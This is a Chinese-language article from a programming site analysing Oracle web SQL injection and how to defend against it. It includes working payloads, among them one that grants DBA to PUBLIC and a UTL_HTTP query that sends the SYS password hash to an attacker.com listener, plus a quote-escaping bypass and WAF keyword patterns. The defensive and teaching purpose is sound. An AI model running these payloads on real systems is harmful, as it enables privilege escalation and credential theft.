首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle Web SQL Injection 深度剖析:PL/SQL 注入特性、系統表利用、UTL_HTTP 數據外帶與防禦對策

     編輯:Oracle 資料庫基礎

Oracle 注入獨特攻擊面

Oracle 豐富的內建套件、預設帳戶、PL/SQL 執行架構,形成獨特注入利用鏈:

  • 預設帳戶 + 弱密碼:DBSNMP, OUTLN, SCOTT 等若未鎖定/改密,可遠端登入。
  • Listener 無密碼:tnscmd.pl services 列舉 SID (舊版)。
  • 存儲過程 Definer's Rights:預設 AUTHID DEFINER,PUBLIC 執行即以建立者 (通常 SYS) 權限執行 → 權限提升。
  • PL/SQL 匿名區塊注入:若輸入置於 BEGIN ... END; 間,可直接執行多語句、DDL、UTL_HTTP 外帶數據,**幾乎無限制**。
  • 游標注入:DBMS_SQL 繞過 DML 限制執行 DDL。

系統表資訊蒐集 (注入後必查)

視圖/表用途
ALL_TABLES / DBA_TABLES可存取/所有表清單
ALL_TAB_COLUMNS欄位定義,尋找密碼/敏感欄位
ALL_USERS / DBA_USERS用戶清單、密碼雜湊 (11g+ 加鹽)
V$VERSION / V$INSTANCE版本、主機名、啟動時間
V$PARAMETER參數配置 (如 UTL_FILE_DIR)
SYS.USER$密碼雜湊 (需 SYS 權限)

注入點類型與利用策略

注入點特徵利用難度典型 Payload
數字型id=123低1 AND 1=1 --
字串型name=abc中' AND '1'='1 --
DML (SELECT/INSERT/UPDATE)單語句、無 BEGIN END中需 UNION、DBMS_SQL 才能執行 DDL
PL/SQL 匿名區塊輸入在 BEGIN ... END; 內**極低**'; EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; --

關鍵利用技術:UTL_HTTP 數據外帶

當無回顯 (Blind SQLi) 時,利用 UTL_HTTP.REQUEST 將查詢結果發送至攻擊者監聽伺服器:


-- 攻擊者監聽: nc -lvp 8080
SELECT UTL_HTTP.REQUEST('https://attacker.com:8080/?data='||(SELECT password FROM dba_users WHERE username='SYS')) FROM DUAL;

優點:不依賴頁面回顯、可繞過 WAF 長度限制、可大量外帶。

Web 環境特殊限制與繞過

  • PHP addslashes:' → \',Oracle 單引號轉義為 '',非 \' → 需用 CHR(39)、CHR(39)||CHR(39) 繞過。
  • .NET/Java 強型別:數字參數注入易被型別檢查攔截 → 專注字串參數注入。
  • 錯誤回顯:若應用未捕獲例外,Oracle 錯誤訊息 (ORA-XXXXX) 直接洩露資料庫型別、結構。

防禦對策 (開發/營運/架構三層)

開發層 (根本)

  1. 強制參數化查詢:PreparedStatement / DBMS_SQL Bind Variable,**絕不拼接字串**。
  2. 最小權限原則:應用布號僅授 SELECT/INSERT/UPDATE/DELETE 特定表,**不授 DBA、CREATE PROCEDURE、EXECUTE ANY PROCEDURE**。
  3. 存儲過程使用 AUTHID CURRENT_USER:避免 Definer's Rights 提權。
  4. 輸入驗證與白名單:正則限制格式、長度、字元集。

資料庫層 (深度防禦)

  1. 鎖定/移除預設帳戶:ALTER USER scott ACCOUNT LOCK PASSWORD EXPIRE。
  2. 撤銷 PUBLIC 不必要權限:REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC、UTL_FILE、DBMS_SQL、DBMS_LOB 等高風險套件。
  3. 啟用 Fine-Grained Auditing (FGA):監控敏感表存取。
  4. Database Vault / Label Security:企業版進階防護。

網路/應用層

  1. WAF 規則:攔截常見 Oracle 注入特徵 (UTL_HTTP, DBMS_SQL, CHR, || 等)。
  2. Listener 設密碼 + ADMIN_RESTRICTIONS:防遠端管理。
  3. 錯誤頁面統一處理:不回顯技術細節 (ORA-、Stack Trace)。
  4. 定期掃描:SQLMap、OWASP ZAP、商業掃描器針對 Oracle 特徵庫。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved